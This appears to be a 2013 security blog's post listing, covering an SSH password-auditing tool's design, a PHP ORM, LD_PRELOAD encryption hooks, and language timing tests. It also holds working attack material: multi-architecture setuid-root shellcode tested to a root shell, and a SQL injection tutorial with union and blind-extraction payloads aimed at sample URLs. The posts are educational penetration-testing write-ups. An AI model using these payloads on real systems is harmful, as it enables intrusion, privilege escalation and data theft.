Showing posts with label development. Show all posts
Showing posts with label development. Show all posts

Saturday, November 9, 2013

Development notes from Beleth: Multi-threaded SSH Password Auditor

Introduction

Beleth is a fast multi-threaded SSH password auditing tool. For a quick introduction to the tool and how to use it, head over to Blackhat Library.

Get the source

Beleth is available on github and will continue to be updated with new features. If you'd like in on the development, submit a pull request.

$ git clone https://github.com/chokepoint/Beleth.git
$ cd beleth
$ make

Multi-threaded design

There are a couple of different options available for developers when coming up with multi-threaded design on Linux based systems using C. Two of the most popular are fork() and pthread_create(). Fork() differs from pthread_create() in that address space is not shared between the parent and child threads. Instead, a complete copy of the parent's address, code, and stack spaces are created for the child process. In order to keep dependencies to a minimum, I decided to go with a standard fork design.

pid = fork();
if (pid < 0) {
    fprintf(stderr, "[!] Couldn't fork!\n");
    destroy_pw_list();
    exit(1);
} else if (pid == 0)  { /* Child thread */
    crack_thread(t_current);
    if (ptr != NULL)
        free(ptr);
} else {               /* Parent thread */
    ...
}

This is great, but we need a way to control the child processes that are running through the password list.

Inter-process Communication (IPC)

Again, there are many options for developers when it comes to IPC as well. Below is a list of only some of the available options.

  • Shared Memory
  • FIFOs
  • Half-Duplex Pipes
  • Full-Duplex Pipes
  • Sockets

We are using fork() so memory sharing is not an immediate option, unless we feel like mmap()ing a shared memory space for communication, but that can get messy. FIFOs and pipes would work for distributing the wordlist among threads, but in order to keep options open Beleth uses Unix Domain Sockets for all IPC. By designing IPC with sockets, it would be trivial to turn Beleth into a distributed cracking platform.

The task handling process binds to a socket file

int listen_sock(int backlog) {
 struct sockaddr_un addr;
 int fd,optval=1;
 
 if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error setting up UNIX socket\n");
  return -1;
 }
 
 fcntl(fd, F_SETFL, O_NONBLOCK); /* Set socket to non blocking */
 setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(int));
 
 memset(&addr,0x00,sizeof(addr));
 addr.sun_family = AF_UNIX;
 strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
 
 unlink(sock_file);
 
 if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error binding to UNIX socket\n");
  return -1;
 }
 
 if (listen(fd, backlog) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error listening to UNIX socket\n");
  return -1;
 }
 
 return fd;
}

Each cracking thread establishes a connection to the socket file in order to request the next password in the list, as well as tell the task handler when a correct password is found.

int connect_sock(void) {
 int fd;
 struct sockaddr_un addr;
 
 if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error creating UNIX socket\n");
  return -1;
 }
 
    memset(&addr,0x00,sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
    
    if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error connecting to UNIX socket\n");
  return -1;
 }
 return fd;
}

The protocol is simple and based on the following definitions located in beleth.h.

/* IPC Protocol Header Information */
#define REQ_PW     0x01 /* Request new password to try */
#define FND_PW     0x02 /* Found password */
#define NO_PW    0x03 /* No PWs left... cleanup */

To-do list

  • Add option for user name list
  • Add option for host list
  • Add simple port scanner and feed new IPs to the task handler
  • Add distributed cracking support

Wednesday, November 6, 2013

Local testing for executable overhead

The other day a friend of mine and I were discussing different types of overhead involved with different programming languages, and I used some simple comparisons to explain that compiled languages have lower overhead than interpreted languages. While it does not directly correlate to ram or processor usage (this can vary on a developer's code), it can give you a general idea of the overall efficiency of any specific language's implementation. We'll be comparing the disk usage and running time of a simple program, exit(0), written in a variety of languages.

Assembly

This is a very basic implementation of exit() using a linux system call.

.section .data
.section .text
.globl _start
_start:
    xor %rdi, %rdi
    push $0x3c
    popq %rax
    syscall

I saved the file as exit.s and assembled/linked it with the following commands:

$ as exit.s -o exit.o
$ ld exit.o -o exit

C

This is a very quick version of exit.c:

#include <stdio.h>
#include <stdlib.h>

int main (int *argc, char** argv) {
    return(0);
} 

I compiled this using the following:

$ gcc exit.c -o exit-c

Perl

Exit.pl is only 2 lines in length:

#!/usr/bin/perl
exit(0);

I compiled this using par packer (pp):

$ pp exit.pl -o exit-pl

Simple comparisons

Disk usage reveals:

$ du -sh exit exit-c exit-pl
4.0K exit
12K exit-c
2.4M exit-pl

That test includes slack space in its results. Lets find out what the actual byte counts of these files are, shall we?

$ wc -c exit exit-c exit-pl
    664 exit
   8326 exit-c
2474525 exit-pl
2483515 total

A timing test will show us:

$ time ./exit

real 0m0.001s
user 0m0.000s
sys  0m0.000s

$ time ./exit-c

real 0m0.002s
user 0m0.000s
sys  0m0.000s

$ time ./exit-pl

real 0m0.187s
user 0m0.100s
sys  0m0.020s

Interpreters

While the perl example is packed using par packer it might not be a fair comparison for a script. We can time that, along with ruby, python, and php while being interpreted by their interpreters:

$ time perl -e 'exit(0);'

real 0m0.005s
user 0m0.000s
sys 0m0.004s

$ time ruby -e 'exit'

real 0m0.008s
user 0m0.004s
sys 0m0.004s

$ time python -c 'exit'

real 0m0.024s
user 0m0.016s
sys 0m0.008s

$ time php -r 'exit(0);'

real 0m0.017s
user 0m0.008s
sys 0m0.008s

These timing tests can be used as a base indicator for the general performance of a given language, with assembly in the lead and C not far behind, its trivial to see that truly compiled or assembled languages are in fact faster than interpreters. These aren't perfectly fair comparisons because of several reasons:

  • Unused compiler/interpreter functionality overhead is included regardless of whether or not we use it in our code
  • Other processes running on the test system may cause things like timing to be unreliable (real cycle counting is much more reliable)
  • Actual CPU/Ram usage was never measured

Regardless of the fact that it isn't perfect, it should give you some idea of the difference in overhead/performance between the given interpreters on the test system, and certainly shows that in general, compiled/assembled languages run more quickly than interpreted languages. Of course, the performance of any application is partly to its programming; so while this may give you an idea of the language performance, it won't tell you how well any particular application written in a given programming language is going to run.

Saturday, November 2, 2013

PHP Database Programming: Introducing 'ormclass'

To begin with, I have a few problems with the traditional web stack. Suppose I wanted to write a feature-rich, user friendly web application -- this requires that I know at least five programming languages:

It doesn't seem right that we need five languages for a singular application, but that aside, the fact that SQL injection is still in the top ten reasons that anything is compromised is pathetic. We are in the year 2013, SQL injection shouldn't much exist anymore. SQL programming can also be a bit cumbersome, for multiple reasons. Enter the ORM. ORM's are designed for two purposes: making SQL data more easily accessible for a programmer from a chosen programming language, in addition to improving overall application security. The problem I have with most ORM's is simple: I still find myself having to write some form of sql-like statements -- even if it isn't traditional SQL itself. For example, in PHP's doctrine ORM, if I wanted to select an article by id 1, the syntax would look something like:

   $article = Doctrine_Query::Create()->select('*')->from('article')->where('id=?')->execute($id)->fetchOne();

The syntax may have changed since I last used Doctrine, but you can see there is still a lot of SQL-like code going on (even if its not direct SQL itself). In this case I have to ask, why didn't we just use the mysql PDO library? At this point, we've added a lot of extra bloat to the application in the form of doctrine ORM; yet we still find ourselves writing SQL (or something similar). For all of that code and RAM consumption, that's not much of an improvement for a developer who just wants to hack out a quick application.

So, I've made my own quick and dirty ORM (available at github). It automatically handles sanitizing for the developer, as well as automatically handling object mapping. Of course, this isn't the best ORM in the world (and I will never make that claim), but it certainly helps for getting some code out quickly and effectively. Its also very tiny. Many improvements can be made to its design, and I will continue to develop this off-and-on as needed for my own applications. The purpose is to effectively eliminate the need to write SQL during (simple) application development.

The ormclass needs a configuration file to be included before it. The configuration is expected to look like:

    $dbhost   = 'localhost';  //Database server hostname
    $database = '';           //Database name
    $dbuser   = '';           //Database username
    $dbpass   = '';           //Database password

    $dbl      = @mysql_connect($dbhost,$dbuser,$dbpass);
    @mysql_select_db($database,$dbl) or die("I'm not configured properly!");

Obviously, you'll have to fill those values in for yourself. I wanted an ORM that would let me do something like the following:

    $article  = new article($_GET['id']);
    # or 
    $article  = new article($_GET['title']);
    # or
    $articles = new article($array_of_ids);
    # or 
    $articles = new article($array_of_titles);
    # or 
    $articles = new article($nested_mixed_array_of_titles_and_ids);    

I also wanted to be able to simply assign properties to the object and save and delete it, or even create new objects. This would also need the capacity for searches, both exact and wildcard. This would (mostly) eliminate the need for writing actual SQL in my application, but also handle some of the tedium of sanitizing for me. Again, I'm aware that this can certainly be done better and if you'd like to contribute to the project, submit a pull request to github. This is a quick and dirty implementation of such an ORM, that allows the programmer some leeway to write logical code in stead of tedious code. There are definitely some places that need work. I've hacked out a version that uses the traditional MySQL library, and I'm working on a version that uses the MySQL PDO library.

The methods and features included in the library include a few subsets of SQL query tedium removal. The following methods are inherited by all classes extending the ORM's class:

  • __construct($arg = null)
  • search($property,$string,$limit = 10, $offset = 0)
  • search_exact($property,$value, $limit = 10, $offset = 0)
  • unsafe_attr($field,$value)
  • fetchAll()
  • fetchRecent($limit = 10)
  • delete()
  • save()

The constructor will automatically check to determine if a method called construct() exists in its child class. If so, it will invoke the function after it has preloaded all of the relevant data into the object. This is how relations can be maintained. Its a bit hackier than most ORM's (there's no configuration file in which you simply state the relations), but it gets the job done and allows the programmer to have control over whether or not relations are followed and child objects are created by default. The ORM requires that every table have an 'id' column. The 'name' column is optional. Here is an example relation:

    class article extends ormclass {
        function construct() {
            $this->author = new author($this->author_id);
        }
    }
  • In this example, you could later:
     $article = new article($id);
     echo $article->author->name; # or other author property.

When you want to create a new record, you can simply pass '0' as the ID for the object, and it will automatically have an ID on instantiation:

    $article = new article(0);

Alternatively, its possible to just call save after a null instantiation (you'd do this if you don't need it to have an ID for relation purposes before the object has attributes):

    $article = new article();
    $article->save();

Similarly to the constructor hook for construct(), there is also a hook for creation of a new record. If you wanted to do something when a new object is inserted into the database, you could add a function called creation() to the class, and it would be called any time a new record is created in the database.

The difference between unsafe_attr() and save() is relatively simple. If there is HTML allowed in a field, for example $article->body, then you'd want to use the unsafe_attr() function to save that particular field (save() will autosanitize against XSS). When using unsafe_attr(), because this uses the normal SQL library (and not PDO), you will need to make sure that your html contains exclusively single quotes or exclusively double quotes, it doesn't particularly matter which. The function does do checks to ensure you aren't using both to prevent sql injection, and returns false if both are in use. This bug is the primary reason I'm developing a PDO version separately (besides standards, we cant forget those). This ORM also has a performance/feature trade off. Because I wanted it to be able to handle nested arrays, the collection function runs an arbitrarily large amount of SQL queries. I can provide a version that doesn't do this (but will also be unable to handle nested arrays) on request, since I'm sure people will not want the performance hit; however because I am working on a PDO version, I'd rather make that a loader option in that rendition for how collections are handled. This also currently only auto-sanitizes strings and integers; better sanitizing will come in the PDO version (hence my describing this as "Quick and Dirty").

This ORM does not have any scaffolding. This means that you will have to create the database and the associated tables yourself before this ORM can access the data. It does not auto-generate tables or class files. If you have an existing database and you'd like to auto-generate the class files, something like the following line of bash should suffice:

mysql dbname -e 'show tables'|grep -v dbname|awk '{print "<?php\nclass "$0" extends ormclass {\n\n}\n?>"}' > objects.php

In closing, the point of this was simply to prove that SQL statements can actually be eliminated from the high-level code entirely; and to provide some easily accessible API. The PDO version should be able to handle a few more complex tasks, like table scans and complex joins to create meta-objects from multiple tables. I also plan to extend the compatibility to include PostgreSQL and perhaps even port this to additional programming languages. At any rate, please enjoy your newfound ability to kick back and lazily write database powered applications. Happy hacking.

Tuesday, September 17, 2013

CryptHook: Secure TCP/UDP Connection Wrapper

Introduction

CryptHook is a modular implementation for securing existing applications with symmetrical block cipher encryption. It works by hooking the base system calls for network communication send/sendto and recv/recvfrom. CryptHook will work with existing applications that rely on these system calls.

Download the Code

$ git clone https://github.com/chokepoint/CryptHook.git
or
$ wget https://github.com/chokepoint/CryptHook/archive/master.zip

Hooking the Calls

Hooking system calls is relatively simple, and is often used to deploy userland rootkits such as Jynx/Jynx2. For this, we're really only interested in hooking four system calls, as previously mentioned. With these hooks, we are able to intercept any data before it is sent across the network (for encryption), and also any data before it touches the client/server application (for decryption).

static ssize_t (*old_recv)(int sockfd, void *buf, size_t len, int flags);
static ssize_t (*old_send)(int sockfd, void *buf, size_t len, int flags);
static ssize_t (*old_recvfrom)(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
static ssize_t (*old_sendto)(int sockfd, void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen);

ssize_t recv(int sockfd, void *buf, size_t len, int flags) {
....
}

ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen) { 
....
}

ssize_t send(int sockfd, const void *buf, size_t len, int flags) {
....
}

ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) {
....
}

Encrypting / Decrypting Data *Updated*

As part of this proof of concept, I've focused primarily on Advanced Encryption Standard (AES). CryptHook is now only set up with AES 256 in GMC mode, but it would be relatively simple to implement additional algorithms that are already a part of the OpenSSL library.

#define BLOCK_CIPHER EVP_aes_256_cbc()  // EVP_aes_256_cbc() and EVP_bf_cbc() have been tested
#define BLOCK_SIZE 16    // Blowfish = 8 AES = 16
#define KEY_SIZE 32     // Blowfish is variable, lets go w/ 256 bits

The key is passed to the library using an environment variable. The plain text is then used to derive a key using PBKDF2 with multiple iterations. If you're going to use this in a live environment, I highly encourage you to change the salt and number of iterations. If no key is passed to the library, it defaults back to PASSPHRASE defined below.

#define PASSPHRASE "Hello NSA"

Example Usage

As discussed earlier, this can be use with many different client/server applications. As a demonstration, lets add a layer of encryption to SSHd.

Server side:
$ LD_PRELOAD=./crypthook.so UC_KEY=OHarroNSA sshd -p 5000
Client Side:
$ LD_PRELOAD=./crypthook.so UC_KEY=OHarroNSA ssh localhost -p 5000

Wireshark Capture

As you can see, the packets show up as malformed, because Wireshark doesn't know how to interpret them, and the data is obviously encrypted.

Going Beyond

It'd be relatively simple to add an SSL header to each packet so that the packets look even more innocuous to anyone casually observing the transaction. SSL headers for application data are five bytes. Adding a fake SSL handshake immediately upon connection would also be a nice touch.

[SSL Record Type][SSL Version][Data Length]
[1 Byte]         [2 Bytes]    [2 Bytes]

Friday, September 13, 2013

Linux Kernel Structure Definition Lookup Script

Introduction

If you've ever written anything kernel side for Linux, I'm sure you've bashed your head on the keyboard as many times as I have looking through lackluster documentation and scouring source files to find structure definitions. Here's a little script that will show you the source file and line number of the given structure definition.

First of all, this script relies on a fantastic website that allows you to easily search through the Linux source files http://lxr.linux.no. I simply wrote a script to parse the output to show structure definition locations. Change the URL in the script depending on your current kernel version number.

Example

$ ./structure.py crypto_tfm
[-] Searching for all structure definitions of: crypto_tfm
[+] drivers/staging/rtl8192e/rtl8192e/rtl_crypto.h, line 186
[+] drivers/staging/rtl8192u/ieee80211/rtl_crypto.h, line 189
[+] include/linux/crypto.h, line 413

The Source

#!/usr/bin/python
# Linux Kernel Structure Search

import sys
from BeautifulSoup import BeautifulSoup
import requests

def main(argv):
 struct_search = "http://lxr.linux.no/linux+v3.11/+code=" + argv[0]
 in_struct = 0
 
 print "[-] Searching for all structure definitions of: " + argv[0]
 
 req = requests.get(struct_search)
 soup = BeautifulSoup(req.text)

 spanTag = soup.findAll('span')
 for tag in spanTag:
  try: 
   myclass = tag['class']
   if myclass == 'identtype':
    if tag.string == "Structure":
     in_struct = 1
    elif in_struct:
     break
  
   if myclass == "resultline" and in_struct:
    aTag = tag.find('a')
    print "[+] " + aTag.text
  except: 
   ohnoez=1

 if not in_struct:
  print "[-] No Structures Found"
  
if __name__ == "__main__":
 main(sys.argv[1:])

Thursday, August 29, 2013

Building multi-architecture shellcode with shellcodecs

Earlier when I documented alphanumeric shellcode I released a stub that allows you to determine the x86 cpu architecture that I called a 'getcpu'. Using a few tools from shellcodecs, I was able to combine it with a couple of other shellcodes and test the compatibility locally.

Building a 32-bit shellcode loader on a multilib system

The first thing I did was take the 32-bit loader found in shellcodecs and built it on my 64-bit system to get a decent test environment going.
root@box:~/Downloads/shellcode/loaders# as --32 loader-32.s -o loader-32.o
root@box:~/Downloads/shellcode/loaders# ld -m elf_i386 loader-32.o -o loader-32

Initial codes

I picked out two setuid(0); execve('/bin/bash',null,null) shellcodes: a 32-bit shellcode used in our buffer overflow wiki, and the 64-bit version that I wrote for shellcodecs, giving us the three portions of code below.
  • The getCPU stub:
    TX4HPZTAZAYVH92
    
  • The 32-bit payload:
    \xeb\x1f\x5e\x89\x76\x08
    \x31\xc0\x88\x46\x07\x89
    \x46\x0c\xb0\x0b\x89\xf3
    \x8d\x4e\x08\x8d\x56\x0c
    \xcd\x80\x31\xdb\x89\xd8
    \x40\xcd\x80\xe8\xdc\xff
    \xff\xff/bin/sh
    
  • The 64-bit payload:
    \x48\x31\xff\x6a\x69\x58
    \x0f\x05\x57\x57\x5e\x5a
    \x6a\x68\x48\xb8\x2f\x62
    \x69\x6e\x2f\x62\x61\x73
    \x50\x54\x5f\x6a\x3b\x58
    \x0f\x05
    
I got the 64-bit payload using the following command from a compiled shellcodecs installation:
generators/shellcode-generator.py --file null-free/setuid_binsh --hex

Tying them together

The 64-bit payload is 32 bytes. In hex, this is represented with 0x20 or \x20. Because the getCPU sets the zflag on 32-bit and doesn't on 64-bit, I took the GetCPU and added a conditional jump if equal 0x20 ("t\x20"):
TX4HPZTAZAYVH92t\x20
The idea here is that if its on a 32-bit system, it will jump over the 64-bit payload and execute the 32-bit system. If its on a 64-bit system, it will execute the 64-bit code without continuing to the 32-bit code because execve() is blocking. I appended the 64-bit payload, followed by the 32-bit payload to our altered getCPU with the conditional jump:
TX4HPZTAZAYVH92t\x20
\x48\x31\xff\x6a\x69
\x58\x0f\x05\x57\x57
\x5e\x5a\x6a\x68\x48
\xb8\x2f\x62\x69\x6e
\x2f\x62\x61\x73\x50
\x54\x5f\x6a\x3b\x58
\x0f\x05\xeb\x1f\x5e
\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46
\x0c\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56
\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80
\xe8\xdc\xff\xff\xff
/bin/sh
This comes out to 94 bytes.

Testing the shellcode

  • On 32-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-32 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # exit
    
  • On 64-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-64 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    root@box:/home/hats/Downloads/shellcode/loaders# id
    uid=0(root) gid=0(root) groups=0(root)
    root@box:/home/hats/Downloads/shellcode/loaders# exit
    exit
    
This same tricks works for windows shellcodes as well, the getCPU stub does not interfere with operating system internals or cause exceptions to be raised.

Friday, August 23, 2013

Using MySQL locally for testing SQL injection techniques and syntaxes

The largest reason for writing this is to show active penetration testers methods of testing things locally before they test them remotely, or if they want to write their own scripts. I'm not going into all of this in detail, more in-depth research is listed at the end of this document.

Creating a test environment

mysql> create database injection_tests;
Query OK, 1 row affected (0.00 sec)

mysql> use injection_tests;
Database changed
mysql> create table injectable (id int auto_increment primary key, value varchar(255));
Query OK, 0 rows affected (0.09 sec)

mysql> insert into injectable values(null, 'This is the first record');
Query OK, 1 row affected (0.04 sec)

mysql> insert into injectable values(null, 'This is the second record');
Query OK, 1 row affected (0.05 sec)

mysql> insert into injectable values(null, 'This is the third record');
Query OK, 1 row affected (0.05 sec)


mysql> select * from injectable;
+----+---------------------------+
| id | value                     |
+----+---------------------------+
|  1 | This is the first record  |
|  2 | This is the second record |
|  3 | This is the third record  |
+----+---------------------------+
3 rows in set (0.00 sec)

Information gathering: select concat(version(),0x3a,database())

Our test VM:

mysql> select concat(version(),0x3a, database());
+-----------------------------------------+
| concat(version(),0x3a, database())      |
+-----------------------------------------+
| 5.5.32-0ubuntu0.12.04.1:injection_tests |
+-----------------------------------------+
1 row in set (0.00 sec)

In band: Union Select

In band injections are non-blind injections that will return raw data to the page. In some cases, such as a subqueried or staged query being used to determine information, union select will not work because it will not assign a proper value.

For our in-band injection, we will assume the following url shows the following data on the page:

  • http://domain.tld/injectable.ext?id=1
mysql> select value from injectable where id=1;
+--------------------------+
| value                    |
+--------------------------+
| This is the first record |
+--------------------------+
1 row in set (0.00 sec)

So first we need to empty the results to make union select properly append the correct amount of data:

  • http://domain.tld/injectable.ext?id=-1
mysql> select value from injectable where id=-1;
Empty set (0.00 sec)

Now to see how a union select query works:

mysql> select value from injectable where id=-1 union select concat(version(),0x3a, database());
+-----------------------------------------+
| value                                   |
+-----------------------------------------+
| 5.5.32-0ubuntu0.12.04.1:injection_tests |
+-----------------------------------------+
1 row in set (0.00 sec)

If the input you're tampering with on vulnerable.tld/injectable.ext is vulnerable to in-band injection, you should be able to go to:

  • http://domain.tld/injectable.ext?id=-1 union select concat(version(),0x3a,database());

Where the data normally appears that says "This is the first record" in the html output, you will now find a piece of text that says "5.5.32-0ubuntu0.12.04.1:injection_tests"; the text before the colon (:) is the version, and the text after is the database name.

Out of band

There are two types of out of band (blind) vulnerabilities, and both types have two methods of exploitation: enumeration and extraction. The two types consist of partially blind injection and full blind injection. Partially blind injection results when the result of the page output is the result of multiple queries. Full blind injection requires timing attacks.

mysql> alter table injectable add column comment varchar(255);
Query OK, 3 rows affected (0.30 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> update injectable set comment="this is the first comment" where id=1;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the second comment" where id=2;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the third comment" where id=3;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Partial blind

Partially blind injection results when the result of the page output is the result of multiple queries. For this we will modify the injectable table:

mysql> alter table injectable add column comment varchar(255);
Query OK, 3 rows affected (0.30 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> update injectable set comment="this is the first comment" where id=1;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the second comment" where id=2;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the third comment" where id=3;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=This is the first record
mysql> select id from injectable where value='This is the first record';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select comment from injectable where id=1; # id=1 comes from the above query
+---------------------------+
| comment                   |
+---------------------------+
| this is the first comment |
+---------------------------+
1 row in set (0.00 sec)

Boolean enumeration

Boolean enumeration takes 1 request per bit to determine a value. While this creates to a larger number of requests and is therefore highly obvious in logs, its a bit easier than bitwise extraction in this particular instance. In this case union select isn't going to work, and here's why:

mysql> select id from injectable where value='This is the nonexistent record' union select concat(version(),0x3a,database());

mysql> select comment from injectable where id=5.5.32-0ubuntu0.12.04.1:injection_tests;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near '.32-0ubuntu0.12.04.1:injection_tests' at line 1

You won't see a query error, you just wont see data on the page when you visit the injectable query. So back to sql, our target value will again be the output of "concat(version(),0x3a,database())", or "5.5.32-0ubuntu0.12.04.1:injection_tests". This is obviously going to be a different string in your target, but this article is about developing your technique locally. So, lets just get the first letter with a normal query:

mysql> select mid((select concat(version(),0x3a,database())),1,1);
+-----------------------------------------------------+
| mid((select concat(version(),0x3a,database())),1,1) |
+-----------------------------------------------------+
| 5                                                   |
+-----------------------------------------------------+
1 row in set (0.00 sec)

To get its ascii code:

mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1));
+------------------------------------------------------------+
| ascii(mid((select concat(version(),0x3a,database())),1,1)) |
+------------------------------------------------------------+
|                                                         53 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

Remember, we're usually only injecting into the first query. As our first example we'll look at:

mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127';
Empty set (0.00 sec)

Notice it returns an empty dataset, but if we change our comparison to less than:

mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

That's because the ascii value, '53', is less than 127 - hence the normal result from the query is returned, and the text of the first comment is displayed on the page.

These urls would be represented as:

  • http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127
  • http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127

Bitwise extraction via comparative precomputation

In this case we'll use the same query as our last examples, "select id from injectable where value='This is the first record'". So in this case we have 3 records:

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Lets make this a little more realistic:

mysql> update injectable set id=23 where value='This is the second record';
Query OK, 1 row affected (0.10 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set id=93 where value='This is the third record';
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    | 
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
| 23 | This is the second record | this is the second comment |
| 93 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Now the ID's aren't in perfect order. Notice we only have three records-- that's ok. We can still make it so it requires less queries to determine the same amount of data. In stead of using bit shifts, we'll use division and modulus. Before we go there though, lets do a little join query :

mysql> select *,@v:=@v+1 as pos from injectable y join (select @v:=0) k;
+----+---------------------------+----------------------------+-------+------+
| id | value                     | comment                    | @v:=0 | pos  |
+----+---------------------------+----------------------------+-------+------+
|  1 | This is the first record  | this is the first comment  |     0 |    1 |
| 23 | This is the second record | this is the second comment |     0 |    2 |
| 93 | This is the third record  | this is the third comment  |     0 |    3 |
+----+---------------------------+----------------------------+-------+------+
3 rows in set (0.00 sec)

Notice that the position indicated is 1,2, and 3- this is the actual row number, not the id stored in the table. This is important because now we can apply it to our original query, this time going after the second record:

mysql> select id from injectable where value='This is the second record';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

    
mysql> select id from injectable where value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2);
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

This will still display the second comment because the id returned matches the text, however it does not contain the text at all. To fix the issue with quotes in the url,

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1

Notice this just gets you the second record displayed. If you wanted to crawl the records (necessary for precomputation), you could simply increment the WHERE statement in the query where it says "where pos=2":

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=1) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=3) and '1'='1';
+----+
| id |
+----+
| 93 |
+----+
1 row in set (0.01 sec)

Now for this new trick I'm about to show you to work, we have to realize that the maximum value of our rows is 3. Notice when we go to 4 there is an empty dataset, which would force the return of no comment on the page:

